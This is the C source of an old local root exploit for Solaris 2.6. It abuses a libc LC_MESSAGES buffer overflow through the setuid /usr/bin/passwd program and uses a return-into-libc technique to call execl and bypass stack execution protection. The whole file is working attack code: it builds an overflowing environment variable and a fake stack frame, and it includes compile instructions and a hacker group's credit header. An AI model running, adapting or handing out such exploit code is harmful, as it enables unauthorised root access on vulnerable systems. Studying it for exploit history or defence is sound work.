/*
 
   31lc_messages, exploit for Solaris 2.6 and libc LC_MESSAGES bug.
 
   Exploit (c)Lam3rZ Group by Kil3r of Lam3rZ based (;) on:
   lpstat exploit for Solaris 2.6 - horizon - <jmcdonal@unf.edu>
 
   This demonstrates the return into libc technique for bypassing stack
   execution protection. This requires some preliminary knowledge for use.
 
   to compile:
 
   gcc 3lc_messages_passwd_NIS_stack.c \
   `ldd /usr/bin/passwd | sed -e s/^.lib/-l/ | cut -d'.' -f1`
 
   !!! WARNING !!!
   For education and INTERNAL Lam3rZ use ONLY!!!
   
   This one works with passwd like this:
 
   username@host > /usr/bin/passwd 
   passwd:  Changing password for username
   Enter login(NIS) password: 
 
 
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>

#define BUF_LENGTH 1600
#define EV          "LC_MESSAGES="


int main(int argc, char *argv[])
{
  char buf[BUF_LENGTH * 2];
  char teststring[BUF_LENGTH * 2];
  char *env[11];
  char fakeframe[512];
  char padding[64];
  char platform[256];

  void *handle;
  long execl_addr;

  u_char *char_p;
  u_long *long_p;
  int i;
  int pad=31;

  if (argc==2) pad+=atoi(argv[1]);

  if (!(handle=dlopen(NULL,RTLD_LAZY)))
    {
      fprintf(stderr,"Can't dlopen myself.\n");
      exit(1);
    }

  if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
    {
      fprintf(stderr,"Can't find execl().\n");
      exit(1);
    }

  if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
      !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
    {
      fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
      exit(1);
    }

  printf("found execl() at %lx\n",execl_addr);

  char_p=buf;

  memset(char_p,'A',BUF_LENGTH);

  long_p=(unsigned long *) (char_p+1076);

  *long_p++=0xdeadbeef;

  /* Here is the saved %i0-%i7 */

  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xeffff930-8; // our fake stack frame
  *long_p++=execl_addr-8+4;// we return into execl() in libc
  *long_p++=0;

  /* now we set up our fake stack frame in env */

  memset (fakeframe,'Q',512);
  long_p=(long *)fakeframe;

  *long_p++=0xdeadbeef; // we don't care about locals
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;

  *long_p++=0xefffffb4-8; // points to our string to exec
  *long_p++=0xefffffb4-8; // argv[1] is a copy of argv[0]
  *long_p++=0x0;        // NULL for execl();
  *long_p++=0xefffffcc;
  *long_p++=0xeffffd18;
  *long_p++=0xeffffd18;
  *long_p++=0xeffffd18; // this just has to be somewhere it can work with
  *long_p++=0x11111111; // doesn't matter b/c we exec
  *long_p++=0x0;

  /* This gives us some padding to play with */

  memset(teststring,'Z',BUF_LENGTH);
  teststring[BUF_LENGTH]=0;

  sysinfo(SI_PLATFORM,platform,256);

  pad+=20-strlen(platform);

  for (i=0;i<pad;padding[i++]='C')
    padding[i]=0;
  memcpy(buf,EV,strlen(EV));

  buf[1600]=0;

  env[0]=buf;
  env[1]=(fakeframe);
  env[2]=&(fakeframe[40]);
  env[3]=&(fakeframe[40]);
  env[4]=&(fakeframe[40]);
  env[5]=&(fakeframe[44]);
  env[6]=teststring;
  env[7]="A=/bin/id"; /* Under Solaris, /bin/sh will drop it's privileges
                            if it is run with a non-zero ruid, and an euid
                            of zero. */
  env[8]=padding;
  env[9]=NULL;

  execle("/usr/bin/passwd","passwd",(char *)0,env);
  perror("execle failed");
}
